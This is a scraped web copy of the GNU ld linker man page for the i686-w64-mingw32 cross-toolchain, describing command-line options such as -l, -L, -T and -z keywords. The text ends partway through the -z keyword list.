░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1404 - Linux cli command i686-w64-mingw32-ld

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-ld and provides detailed information about the command i686-w64-mingw32-ld, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-ld.

NAME 🖥️ i686-w64-mingw32-ld 🖥️

The GNU linker

SYNOPSIS

ld [options] objfile

DESCRIPTION

ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld.

ld accepts Linker Command Language files written in a superset of AT&T’s Link Editor Command Language syntax, to provide explicit and total control over the linking process.

This man page does not describe the command language; see the ld entry in info for full details on the command language and on other aspects of the GNU linker.

This version of ld uses the general purpose BFD libraries to operate on object files. This allows ld to read, combine, and write object files in many different formats—for example, COFF or a.out. Different formats may be linked together to produce any available kind of object file.

Aside from its flexibility, the GNU linker is more helpful than other linkers in providing diagnostic information. Many linkers abandon execution immediately upon encountering an error; whenever possible, ld continues executing, allowing you to identify other errors (or, in some cases, to get an output file in spite of the error).

The GNU linker ld is meant to cover a broad range of situations, and to be as compatible as possible with other linkers. As a result, you have many choices to control its behavior.

OPTIONS

The linker supports a plethora of command-line options, but in actual practice few of them are used in any particular context. For instance, a frequent use of ld is to link standard Unix object files on a standard, supported Unix system. On such a system, to link a file hello.o:

ld -o <output> /lib/crt0.o hello.o -lc

This tells ld to produce a file called output as the result of linking the file /lib/crt0.o with hello.o and the library libc.a, which will come from the standard search directories. (See the discussion of the -l option below.)

Some of the command-line options to ld may be specified at any point in the command line. However, options which refer to files, such as -l or -T, cause the file to be read at the point at which the option appears in the command line, relative to the object files and other file options. Repeating non-file options with a different argument will either have no further effect, or override prior occurrences (those further to the left on the command line) of that option. Options which may be meaningfully specified more than once are noted in the descriptions below.

Non-option arguments are object files or archives which are to be linked together. They may follow, precede, or be mixed in with command-line options, except that an object file argument may not be placed between an option and its argument.

Usually the linker is invoked with at least one object file, but you can specify other forms of binary input files using -l, -R, and the script command language. If no binary input files at all are specified, the linker does not produce any output, and issues the message No input files.

If the linker cannot recognize the format of an object file, it will assume that it is a linker script. A script specified in this way augments the main linker script used for the link (either the default linker script or the one specified by using -T). This feature permits the linker to link against a file which appears to be an object or an archive, but actually merely defines some symbol values, or uses INPUT or GROUP to load other objects. Specifying a script in this way merely augments the main linker script, with the extra commands placed after the main script; use the -T option to replace the default linker script entirely, but note the effect of the INSERT command.

For options whose names are a single letter, option arguments must either follow the option letter without intervening whitespace, or be given as separate arguments immediately following the option that requires them.

For options whose names are multiple letters, either one dash or two can precede the option name; for example, -trace-symbol and –trace-symbol are equivalent. Note—there is one exception to this rule. Multiple letter options that start with a lower case ‘o’ can only be preceded by two dashes. This is to reduce confusion with the -o option. So for example -omagic sets the output file name to magic whereas –omagic sets the NMAGIC flag on the output.

Arguments to multiple-letter options must either be separated from the option name by an equals sign, or be given as separate arguments immediately following the option that requires them. For example, –trace-symbol foo and –trace-symbol=foo are equivalent. Unique abbreviations of the names of multiple-letter options are accepted.

Note—if the linker is being invoked indirectly, via a compiler driver (e.g. gcc) then all the linker command-line options should be prefixed by -Wl, (or whatever is appropriate for the particular compiler driver) like this:

gcc -Wl,–start-group foo.o bar.o -Wl,–end-group

This is important, because otherwise the compiler driver program may silently drop the linker options, resulting in a bad link. Confusion may also arise when passing options that require values through a driver, as the use of a space between option and argument acts as a separator, and causes the driver to pass only the option to the linker and the argument to the compiler. In this case, it is simplest to use the joined forms of both single- and multiple-letter options, such as:

gcc foo.o bar.o -Wl,-eENTRY -Wl,-Map=a.map

Here is a table of the generic command-line switches accepted by the GNU linker:

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a keyword
This option is supported for HP/UX compatibility. The keyword argument must be one of the strings archive, shared, or default. -aarchive is functionally equivalent to -Bstatic, and the other two keywords are functionally equivalent to -Bdynamic. This option may be used any number of times.

–audit AUDITLIB
Adds AUDITLIB to the DT_AUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_AUDIT will contain a colon separated list of audit interfaces to use. If the linker finds an object with an audit entry while searching for shared libraries, it will add a corresponding DT_DEPAUDIT entry in the output file. This option is only meaningful on ELF platforms supporting the rtld-audit interface.

-b input-format

–format=input-format

ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the -b option to specify the binary format for input object files that follow this option on the command line. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to expect as a default input format the most usual format on each machine. input-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) You may want to use this option if you are linking files with an unusual binary format. You can also use -b to switch formats explicitly (when linking object files of different formats), by including -b input-format before each group of object files in a particular format. The default format is taken from the environment variable GNUTARGET. You can also define the input format from a script, using the command TARGET;

-c MRI-commandfile

–mri-script=MRI-commandfile

For compatibility with linkers produced by MRI, ld accepts script files written in an alternate, restricted command language, described in the MRI Compatible Script Files section of GNU ld documentation. Introduce MRI script files with the option -c; use the -T option to run linker scripts written in the general-purpose ld scripting language. If MRI-cmdfile does not exist, ld looks for it in the directories specified by any -L options.

-d

-dc

-dp

These three options are equivalent; multiple forms are supported for compatibility with other linkers. They assign space to common symbols even if a relocatable output file is specified (with -r). The script command FORCE_COMMON_ALLOCATION has the same effect.

–depaudit AUDITLIB

-P AUDITLIB

Adds AUDITLIB to the DT_DEPAUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_DEPAUDIT will contain a colon separated list of audit interfaces to use. This option is only meaningful on ELF platforms supporting the rtld-audit interface. The -P option is provided for Solaris compatibility.

–enable-linker-version
Enables the LINKER_VERSION linker script directive, described in Output Section Data. If this directive is used in a linker script and this option has been enabled then a string containing the linker version will be inserted at the current point. Note - this location of this option on the linker command line is significant. It will only affect linker scripts that come after it on the command line, or which are built into the linker.

–disable-linker-version
Disables the LINKER_VERSION linker script directive, so that it does not insert a version string. This is the default.

–enable-non-contiguous-regions
This option avoids generating an error if an input section does not fit a matching output section. The linker tries to allocate the input section to subseque nt matching output sections, and generates an error only if no output section is large enough. This is useful when several non-contiguous memory regions are available and the input section does not require a particular one. The order in which input sections are evaluated does not change, for instance: MEMORY { MEM1 (rwx) : ORIGIN = 0x1000, LENGTH = 0x14 MEM2 (rwx) : ORIGIN = 0x1000, LENGTH = 0x40 MEM3 (rwx) : ORIGIN = 0x2000, LENGTH = 0x40 } SECTIONS { mem1 : { *(.data.*); } > MEM1 mem2 : { *(.data.*); } > MEM2 mem3 : { *(.data.*); } > MEM3 } with input sections: .data.1: size 8 .data.2: size 0x10 .data.3: size 4 results in .data.1 affected to mem1, and .data.2 and .data.3 affected to mem2, even though .data.3 would fit in mem3. This option is incompatible with INSERT statements because it changes the way input sections are mapped to output sections.

–enable-non-contiguous-regions-warnings
This option enables warnings when --enable-non-contiguous-regions allows possibly unexpected matches in sections mapping, potentially leading to silently discarding a section instead of failing because it does not fit any output region.

-e entry

–entry=entry

Use entry as the explicit symbol for beginning execution of your program, rather than the default entry point. If there is no symbol named entry, the linker will try to parse entry as a number, and use that as the entry address (the number will be interpreted in base 10; you may use a leading 0x for base 16, or a leading 0 for base 8).

–exclude-libs lib,lib,…
Specifies a list of archive libraries from which symbols should not be automatically exported. The library names may be delimited by commas or colons. Specifying --exclude-libs ALL excludes symbols in all archive libraries from automatic export. This option is available only for the i386 PE targeted port of the linker and for ELF targeted ports. For i386 PE, symbols explicitly listed in a .def file are still exported, regardless of this option. For ELF targeted ports, symbols affected by this option will be treated as hidden.

–exclude-modules-for-implib module,module,…
Specifies a list of object files or archive members, from which symbols should not be automatically exported, but which should be copied wholesale into the import library being generated during the link. The module names may be delimited by commas or colons, and must match exactly the filenames used by ld to open the files; for archive members, this is simply the member name, but for object files the name listed must include and match precisely any path used to specify the input file on the linker’s command-line. This option is available only for the i386 PE targeted port of the linker. Symbols explicitly listed in a .def file are still exported, regardless of this option.

-E

–export-dynamic

–no-export-dynamic

When creating a dynamically linked executable, using the -E option or the –export-dynamic option causes the linker to add all symbols to the dynamic symbol table. The dynamic symbol table is the set of symbols which are visible from dynamic objects at run time. If you do not use either of these options (or use the –no-export-dynamic option to restore the default behavior), the dynamic symbol table will normally contain only those symbols which are referenced by some dynamic object mentioned in the link. If you use dlopen to load a dynamic object which needs to refer back to the symbols defined by the program, rather than some other dynamic object, then you will probably need to use this option when linking the program itself. You can also use the dynamic list to control what symbols should be added to the dynamic symbol table if the output format supports it. See the description of –dynamic-list. Note that this option is specific to ELF targeted ports. PE targets support a similar function to export all symbols from a DLL or EXE; see the description of –export-all-symbols below.

–export-dynamic-symbol=glob
When creating a dynamically linked executable, symbols matching glob will be added to the dynamic symbol table. When creating a shared library, references to symbols matching glob will not be bound to the definitions within the shared library. This option is a no-op when creating a shared library and -Bsymbolic or –dynamic-list are not specified. This option is only meaningful on ELF platforms which support shared libraries.

–export-dynamic-symbol-list=file
Specify a –export-dynamic-symbol for each pattern in the file. The format of the file is the same as the version node without scope and node name. See VERSION for more information.

-EB
Link big-endian objects. This affects the default output format.

-EL
Link little-endian objects. This affects the default output format.

-f name

–auxiliary=name

When creating an ELF shared object, set the internal DT_AUXILIARY field to the specified name. This tells the dynamic linker that the symbol table of the shared object should be used as an auxiliary filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_AUXILIARY field. If the dynamic linker resolves any symbols from the filter object, it will first check whether there is a definition in the shared object name. If there is one, it will be used instead of the definition in the filter object. The shared object name need not exist. Thus the shared object name may be used to provide an alternative implementation of certain functions, perhaps for debugging or for machine-specific performance. This option may be specified more than once. The DT_AUXILIARY entries will be created in the order in which they appear on the command line.

-F name

–filter=name

When creating an ELF shared object, set the internal DT_FILTER field to the specified name. This tells the dynamic linker that the symbol table of the shared object which is being created should be used as a filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_FILTER field. The dynamic linker will resolve symbols according to the symbol table of the filter object as usual, but it will actually link to the definitions found in the shared object name. Thus the filter object can be used to select a subset of the symbols provided by the object name. Some older linkers used the -F option throughout a compilation toolchain for specifying object-file format for both input and output object files. The GNU linker uses other mechanisms for this purpose: the -b, –format, –oformat options, the TARGET command in linker scripts, and the GNUTARGET environment variable. The GNU linker will ignore the -F option when not creating an ELF shared object.

-fini=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is unloaded, by setting DT_FINI to the address of the function. By default, the linker uses _fini as the function to call.

-g
Ignored. Provided for compatibility with other tools.

-G value

–gpsize=value

Set the maximum size of objects to be optimized using the GP register to size. This is only meaningful for object file formats such as MIPS ELF that support putting large and small objects into different sections. This is ignored for other object file formats.

-h name

-soname=name

When creating an ELF shared object, set the internal DT_SONAME field to the specified name. When an executable is linked with a shared object which has a DT_SONAME field, then when the executable is run the dynamic linker will attempt to load the shared object specified by the DT_SONAME field rather than using the file name given to the linker.

-i
Perform an incremental link (same as option -r).

-init=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is loaded, by setting DT_INIT to the address of the function. By default, the linker uses _init as the function to call.

-l namespec

–library=namespec

Add the archive or object file specified by namespec to the list of files to link. This option may be used any number of times. If namespec is of the form :filename, ld will search the library path for a file called filename, otherwise it will search the library path for a file called libnamespec.a. On systems which support shared libraries, ld may also search for files other than libnamespec.a. Specifically, on ELF and SunOS systems, ld will search a directory for a library called libnamespec.so before searching for one called libnamespec.a. (By convention, a .so extension indicates a shared library.) Note that this behavior does not apply to :filename, which always specifies a file called filename. The linker will search an archive only once, at the location where it is specified on the command line. If the archive defines a symbol which was undefined in some object which appeared before the archive on the command line, the linker will include the appropriate file(s) from the archive. However, an undefined symbol in an object appearing later on the command line will not cause the linker to search the archive again. See the -( option for a way to force the linker to search archives multiple times. You may list the same archive multiple times on the command line. This type of archive searching is standard for Unix linkers. However, if you are using ld on AIX, note that it is different from the behaviour of the AIX linker.

-L searchdir

–library-path=searchdir

Add path searchdir to the list of paths that ld will search for archive libraries and ld control scripts. You may use this option any number of times. The directories are searched in the order in which they are specified on the command line. Directories specified on the command line are searched before the default directories. All -L options apply to all -l options, regardless of the order in which the options appear. -L options do not affect how ld searches for a linker script unless -T option is specified. If searchdir begins with = or $SYSROOT, then this prefix will be replaced by the sysroot prefix, controlled by the –sysroot option, or specified when the linker is configured. The default set of paths searched (without being specified with -L) depends on which emulation mode ld is using, and in some cases also on how it was configured. The paths can also be specified in a link script with the SEARCH_DIR command. Directories specified this way are searched at the point in which the linker script appears in the command line.

-m emulation
Emulate the emulation linker. You can list the available emulations with the –verbose or -V options. If the -m option is not used, the emulation is taken from the LDEMULATION environment variable, if that is defined. Otherwise, the default emulation depends upon how the linker was configured.

–remap-inputs=pattern=filename

–remap-inputs-file=file

These options allow the names of input files to be changed before the linker attempts to open them. The option –remap-inputs=foo.o=bar.o will cause any attempt to load a file called foo.o to instead try to load a file called bar.o. Wildcard patterns are permitted in the first filename, so –remap-inputs=foo*.o=bar.o will rename any input file that matches foo*.o to bar.o. An alternative form of the option –remap-inputs-file=filename allows the remappings to be read from a file. Each line in the file can contain a single remapping. Blank lines are ignored. Anything from a hash character (#) to the end of a line is considered to be a comment and is also ignored. The mapping pattern can be separated from the filename by whitespace or an equals (=) character. The options can be specified multiple times. Their contents accumulate. The remappings will be processed in the order in which they occur on the command line, and if they come from a file, in the order in which they occur in the file. If a match is made, no further checking for that filename will be performed. If the replacement filename is /dev/null or just NUL then the remapping will actually cause the input file to be ignored. This can be a convenient way to experiment with removing input files from a complicated build environment. Note that this option is position dependent and only affects filenames that come after it on the command line. Thus: ld foo.o –remap-inputs=foo.o=bar.o Will have no effect, whereas: ld –remap-inputs=foo.o=bar.o foo.o Will rename the input file foo.o to bar.o. Note - these options also affect files referenced by INPUT statements in linker scripts. But since linker scripts are processed after the entire command line is read, the position of the remap options on the command line is not significant. If the verbose option is enabled then any mappings that match will be reported, although again the verbose option needs to be enabled on the command line before the remaped filenames appear. If the -Map or –print-map options are enabled then the remapping list will be included in the map output.

-M

–print-map

Print a link map to the standard output. A link map provides information about the link, including the following:

  • Where object files are mapped into memory.

  • How common symbols are allocated.

  • All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.

  • The values assigned to symbols. Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing: foo = 1 foo = foo * 4 foo = foo + 8 will produce the following output in the link map if the -M option is used: 0x00000001 foo = 0x1 [0x0000000c] foo = (foo * 0x4) [0x0000000c] foo = (foo + 0x8) See Expressions for more information about expressions in linker scripts.

  • How GNU properties are merged. When the linker merges input .note.gnu.property sections into one output .note.gnu.property section, some properties are removed or updated. These actions are reported in the link map. For example: Removed property 0xc0000002 to merge foo.o (0x1) and bar.o (not found) This indicates that property 0xc0000002 is removed from output when merging properties in foo.o, whose property 0xc0000002 value is 0x1, and bar.o, which doesn’t have property 0xc0000002. Updated property 0xc0010001 (0x1) to merge foo.o (0x1) and bar.o (0x1) This indicates that property 0xc0010001 value is updated to 0x1 in output when merging properties in foo.o, whose 0xc0010001 property value is 0x1, and bar.o, whose 0xc0010001 property value is 0x1.

  • On some ELF targets, a list of fixups inserted by –relax foo.o: Adjusting branch at 0x00000008 towards “far” in section .text This indicates that the branch at 0x00000008 in foo.o, targeting the symbol “far” in section .text, has been replaced by a trampoline.

–print-map-discarded

–no-print-map-discarded

Print (or do not print) the list of discarded and garbage collected sections in the link map. Enabled by default.

–print-map-locals

–no-print-map-locals

Print (or do not print) local symbols in the link map. Local symbols will have the text (local) printed before their name, and will be listed after all of the global symbols in a given section. Temporary local symbols (typically those that start with .L) will not be included in the output. Disabled by default.

-n

–nmagic

Turn off page alignment of sections, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as NMAGIC.

-N

–omagic

Set the text and data sections to be readable and writable. Also, do not page-align the data segment, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as OMAGIC. Note: Although a writable text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.

–no-omagic
This option negates most of the effects of the -N option. It sets the text section to be read-only, and forces the data segment to be page-aligned. Note - this option does not enable linking against shared libraries. Use -Bdynamic for this.

-o output

–output=output

Use output as the name for the program produced by ld; if this option is not specified, the name a.out is used by default. The script command OUTPUT can also specify the output file name. Note - the linker will delete the output file before it starts to write to it. It will do this even if it turns out that the link cannot be completed due to errors. Note - the linker will check to make sure that the output file name does not match the name of any of the input files, but that is all. In particular it will not complain if the output file might overwrite a source file or some other important file. Therefore in build systems it is recommended to use the -o option as the last option on the linker command line. For example consider: ld -o $(EXE) $(OBJS) ld $(OBJS) -o $(EXE) If the EXE variable is not defined for some reason, the first version of the linker command could end up deleting one of the object files (the first one in the OBJS list) whereas the second version of the linker command will generate an error message and not delete anything.

–dependency-file=depfile
Write a dependency file to depfile. This file contains a rule suitable for make describing the output file and all the input files that were read to produce it. The output is similar to the compiler’s output with -M -MP. Note that there is no option like the compiler’s -MM, to exclude “system files” (which is not a well-specified concept in the linker, unlike “system headers” in the compiler). So the output from –dependency-file is always specific to the exact state of the installation where it was produced, and should not be copied into distributed makefiles without careful editing.

-O level
If level is a numeric values greater than zero ld optimizes the output. This might take significantly longer and therefore probably should only be enabled for the final binary. At the moment this option only affects ELF shared library generation. Future releases of the linker may make more use of this option. Also currently there is no difference in the linker’s behaviour for different non-zero values of this option. Again this may change with future releases.

-plugin name
Involve a plugin in the linking process. The name parameter is the absolute filename of the plugin. Usually this parameter is automatically added by the compiler, when using link time optimization, but users can also add their own plugins if they so wish. Note that the location of the compiler originated plugins is different from the place where the ar, nm and ranlib programs search for their plugins. In order for those commands to make use of a compiler based plugin it must first be copied into the ${libdir}/bfd-plugins directory. All gcc based linker plugins are backward compatible, so it is sufficient to just copy in the newest one.

–push-state
The –push-state allows one to preserve the current state of the flags which govern the input file handling so that they can all be restored with one corresponding –pop-state option. The option which are covered are: -Bdynamic, -Bstatic, -dn, -dy, -call_shared, -non_shared, -static, -N, -n, –whole-archive, –no-whole-archive, -r, -Ur, –copy-dt-needed-entries, –no-copy-dt-needed-entries, –as-needed, –no-as-needed, and -a. One target for this option are specifications for pkg-config. When used with the –libs option all possibly needed libraries are listed and then possibly linked with all the time. It is better to return something as follows: -Wl,–push-state,–as-needed -libone -libtwo -Wl,–pop-state

–pop-state
Undoes the effect of –push-state, restores the previous values of the flags governing input file handling.

-q

–emit-relocs

Leave relocation sections and contents in fully linked executables. Post link analysis and optimization tools may need this information in order to perform correct modifications of executables. This results in larger executables. This option is currently only supported on ELF platforms.

–force-dynamic
Force the output file to have dynamic sections. This option is specific to VxWorks targets.

-r

–relocatable

Generate relocatable output—i.e., generate an output file that can in turn serve as input to ld. This is often called partial linking. As a side effect, in environments that support standard Unix magic numbers, this option also sets the output file’s magic number to OMAGIC. If this option is not specified, an absolute file is produced. When linking C++ programs, this option will not resolve references to constructors; to do that, use -Ur. When an input file does not have the same format as the output file, partial linking is only supported if that input file does not contain any relocations. Different output formats can have further restrictions; for example some a.out-based formats do not support partial linking with input files in other formats at all. This option does the same thing as -i.

-R filename

–just-symbols=filename

Read symbol names and their addresses from filename, but do not relocate it or include it in the output. This allows your output file to refer symbolically to absolute locations of memory defined in other programs. You may use this option more than once. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

–rosegment

–no-rosegment

Attempt to ensure that only a single read-only, non-code segment is created. Only useful when used in conjunction with the -z separate-code option. The resulting binaries should be smaller than if -z separate-code is used on its own. Without this option, or if –no-rosegment is specified, the -z separate-code option will create two read-only segments, one before the code segment and one after it. The name of the options are misleading, but they have been chosen in order for the linker to be compatible with the LLD and GOLD linkers. Thse options are only supported by ELF targets.

-s

–strip-all

Omit all symbol information from the output file.

-S

–strip-debug

Omit debugger symbol information (but not all symbols) from the output file.

–strip-discarded

–no-strip-discarded

Omit (or do not omit) global symbols defined in discarded sections. Enabled by default.

-plugin-save-temps
Store the plugin “temporary” intermediate files permanently.

-t

–trace

Print the names of the input files as ld processes them. If -t is given twice then members within archives are also printed. -t output is useful to generate a list of all the object files and scripts involved in linking, for example, when packaging files for a linker bug report.

-T scriptfile

–script=scriptfile

Use scriptfile as the linker script. This script replaces ld’s default linker script (rather than adding to it), unless the script contains INSERT, so commandfile must specify everything necessary to describe the output file. If scriptfile does not exist in the current directory, ld looks for it in the directories specified by any preceding -L options. Command line options that appear before the -T option can affect the script, but command line options that appear after it do not. Multiple -T options will accumulate if they are augmenting the current script, otherwise the last, non-augmenting, -T option will be used. There are other ways of specifying linker scripts. See

-dT scriptfile

–default-script=scriptfile

Use scriptfile as the default linker script. This option is similar to the –script option except that processing of the script is delayed until after the rest of the command line has been processed. This allows options placed after the –default-script option on the command line to affect the behaviour of the linker script, which can be important when the linker command line cannot be directly controlled by the user. (eg because the command line is being constructed by another tool, such as gcc).

-u symbol

–undefined=symbol

Force symbol to be entered in the output file as an undefined symbol. Doing this may, for example, trigger linking of additional modules from standard libraries. -u may be repeated with different option arguments to enter additional undefined symbols. This option is equivalent to the EXTERN linker script command. If this option is being used to force additional modules to be pulled into the link, and if it is an error for the symbol to remain undefined, then the option –require-defined should be used instead.

–require-defined=symbol
Require that symbol is defined in the output file. This option is the same as option –undefined except that if symbol is not defined in the output file then the linker will issue an error and exit. The same effect can be achieved in a linker script by using EXTERN, ASSERT and DEFINED together. This option can be used multiple times to require additional symbols.

-Ur
For programs that do not use constructors or destructors, or for ELF based systems this option is equivalent to -r: it generates relocatable output—i.e., an output file that can in turn serve as input to ld. For other binaries however the -Ur option is similar to -r but it also resolves references to constructors and destructors. For those systems where -r and -Ur behave differently, it does not work to use -Ur on files that were themselves linked with -Ur; once the constructor table has been built, it cannot be added to. Use -Ur only for the last partial link, and -r for the others.

–orphan-handling=MODE
Control how orphan sections are handled. An orphan section is one not specifically mentioned in a linker script. MODE can have any of the following values:

“place”
Orphan sections are placed into a suitable output section following the strategy described in Orphan Sections. The option –unique also affects how sections are placed.

“discard”
All orphan sections are discarded, by placing them in the /DISCARD/ section.

“warn”
The linker will place the orphan section as for place and also issue a warning.

“error”
The linker will exit with an error if any orphan section is found.

The default if –orphan-handling is not given is place.

–unique[=SECTION]
Creates a separate output section for every input section matching SECTION, or if the optional wildcard SECTION argument is missing, for every orphan input section. An orphan section is one not specifically mentioned in a linker script. You may use this option multiple times on the command line; It prevents the normal merging of input sections with the same name, overriding output section assignments in a linker script.

-v

–version

-V

Display the version number for ld. The -V option also lists the supported emulations. See also the description of the –enable-linker-version in Options,,Command-line Options which can be used to insert the linker version string into a binary.

-x

–discard-all

Delete all local symbols.

-X

–discard-locals

Delete all temporary local symbols. (These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.)

-y symbol

–trace-symbol=symbol

Print the name of each linked file in which symbol appears. This option may be given any number of times. On many systems it is necessary to prepend an underscore. This option is useful when you have an undefined symbol in your link but don’t know where the reference is coming from.

-Y path
Add path to the default library search path. This option exists for Solaris compatibility.

-z keyword
The recognized keywords are:

call-nop=prefix-addr

call-nop=suffix-nop

call-nop=prefix-byte

call-nop=suffix-byte

Specify the 1-byte NOP padding when transforming indirect call to a locally defined function, foo, via its GOT slot. call-nop=prefix-addr generates 0x67 call foo. call-nop=suffix-nop generates call foo 0x90. **call-nop=prefix-**byte generates byte call foo. **call-nop=suffix-byte generates call foo byte. Supported for i386 and x86_64.

cet-report=none

cet-report=warning

cet-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_IBT and GNU_PROPERTY_X86_FEATURE_1_SHSTK properties in input .note.gnu.property section. cet-report=none, which is the default, will make the linker not report missing properties in input files. cet-report=warning will make the linker issue a warning for missing properties in input files. cet-report=error will make the linker issue an error for missing properties in input files. Note that ibt will turn off the missing GNU_PROPERTY_X86_FEATURE_1_IBT property report and shstk will turn off the missing GNU_PROPERTY_X86_FEATURE_1_SHSTK property report. Supported for Linux/i386 and Linux/x86_64.

combreloc

nocombreloc

Combine multiple dynamic relocation sections and sort to improve dynamic symbol lookup caching. Do not do this if nocombreloc.

common

nocommon

Generate common symbols with STT_COMMON type during a relocatable link. Use STT_OBJECT type if nocommon.

common-page-size=value
Set the page size most commonly used to value. Memory image layout will be optimized to minimize memory pages if the system is using pages of this size.

defs
Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. This option is the inverse of -z undefs.

dynamic-undefined-weak

nodynamic-undefined-weak

Make undefined weak symbols dynamic when building a dynamic object, if they are referenced from a regular object file and not forced local by symbol visibility or versioning. Do not make them dynamic if nodynamic-undefined-weak. If neither option is given, a target may default to either option being in force, or make some other selection of undefined weak symbols dynamic. Not all targets support these options.

execstack
Marks the object as requiring executable stack.

global
This option is only meaningful when building a shared object. It makes the symbols defined by this shared object available for symbol resolution of subsequently loaded libraries.

globalaudit
This option is only meaningful when building a dynamic executable. This option marks the executable as requiring global auditing by setting the DF_1_GLOBAUDIT bit in the DT_FLAGS_1 dynamic tag. Global auditing requires that any auditing library defined via the –depaudit or -P command-line options be run for all dynamic objects loaded by the application.

ibtplt
Generate Intel Indirect Branch Tracking (IBT) enabled PLT entries. Supported for Linux/i386 and Linux/x86_64.

ibt
Generate GNU_PROPERTY_X86_FEATURE_1_IBT in .note.gnu.property section to indicate compatibility with IBT. This also implies ibtplt. Supported for Linux/i386 and Linux/x86_64.

indirect-extern-access

noindirect-extern-access

Generate GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS in .note.gnu.property section to indicate that object file requires canonical function pointers and cannot be used with copy relocation. This option also implies noextern-protected-data and nocopyreloc. Supported for i386 and x86-64. noindirect-extern-access removes GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS from .note.gnu.property section.

initfirst
This option is only meaningful when building a shared object. It marks the object so that its runtime initialization will occur before the runtime initialization of any other objects brought into the process at the same time. Similarly the runtime finalization of the object will occur after the runtime finalization of any other objects.

interpose
Specify that the dynamic loader should modify its symbol search order so that symbols in this shared library interpose all other shared libraries not so marked.

unique

nounique

When generating a shared library or other dynamically loadable ELF object mark it as one that should (by default) only ever be loaded once, and only in the main namespace (when using dlmopen). This is primarily used to mark fundamental libraries such as libc, libpthread et al which do not usually function correctly unless they are the sole instances of themselves. This behaviour can be overridden by the dlmopen caller and does not apply to certain loading mechanisms (such as audit libraries).

lam-u48
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U48 in .note.gnu.property section to indicate compatibility with Intel LAM_U48. Supported for Linux/x86_64.

lam-u57
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U57 in .note.gnu.property section to indicate compatibility with Intel LAM_U57. Supported for Linux/x86_64.

lam-u48-report=none

lam-u48-report=warning

lam-u48-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 property in input .note.gnu.property section. lam-u48-report=none, which is the default, will make the linker not report missing properties in input files. lam-u48-report=warning will make the linker issue a warning for missing properties in input files. lam-u48-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-u57-report=none

lam-u57-report=warning

lam-u57-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U57 property in input .note.gnu.property section. lam-u57-report=none, which is the default, will make the linker not report missing properties in input files. lam-u57-report=warning will make the linker issue a warning for missing properties in input files. lam-u57-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-report=none

lam-report=warning

lam-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 and GNU_PROPERTY_X86_FEATURE_1_LAM_U57 properties in input .note.gnu.property section. lam-report=none, which is the default, will make the linker not report missing properties in input files. lam-report=warning will make the linker issue a warning for missing properties in input files. lam-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lazy
When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding), rather than at load time. Lazy binding is the default.

loadfltr
Specify that the object’s filters be processed immediately at runtime.

max-page-size=value
Set the maximum memory page size supported to value.

mark-plt

nomark-plt

Mark PLT entries with dynamic tags, DT_X86_64_PLT, DT_X86_64_PLTSZ and DT_X86_64_PLTENT. Since this option stores a non-zero value in the r_addend field of R_X86_64_JUMP_SLOT relocations, the resulting executables and shared libraries are incompatible with dynamic linkers, such as those in older versions of glibc without the change to ignore r_addend in R_X86_64_GLOB_DAT and R_X86_64_JUMP_SLOT relocations, which don’t ignore the r_addend field of R_X86_64_JUMP_SLOT relocations. Supported for x86_64.

muldefs
Allow multiple definitions.

nocopyreloc
Disable linker generated .dynbss variables used in place of variables defined in shared libraries. May result in dynamic text relocations.

nodefaultlib
Specify that the dynamic loader search for dependencies of this object should ignore any default library search paths.

nodelete
Specify that the object shouldn’t be unloaded at runtime.

nodlopen
Specify that the object is not available to dlopen.

nodump
Specify that the object can not be dumped by dldump.

noexecstack
Marks the object as not requiring executable stack.

noextern-protected-data
Don’t treat protected data symbols as external when building a shared library. This option overrides the linker backend default. It can be used to work around incorrect relocations against protected data symbols generated by compiler. Updates on protected data symbols by another module aren’t visible to the resulting shared library. Supported for i386 and x86-64.

noreloc-overflow
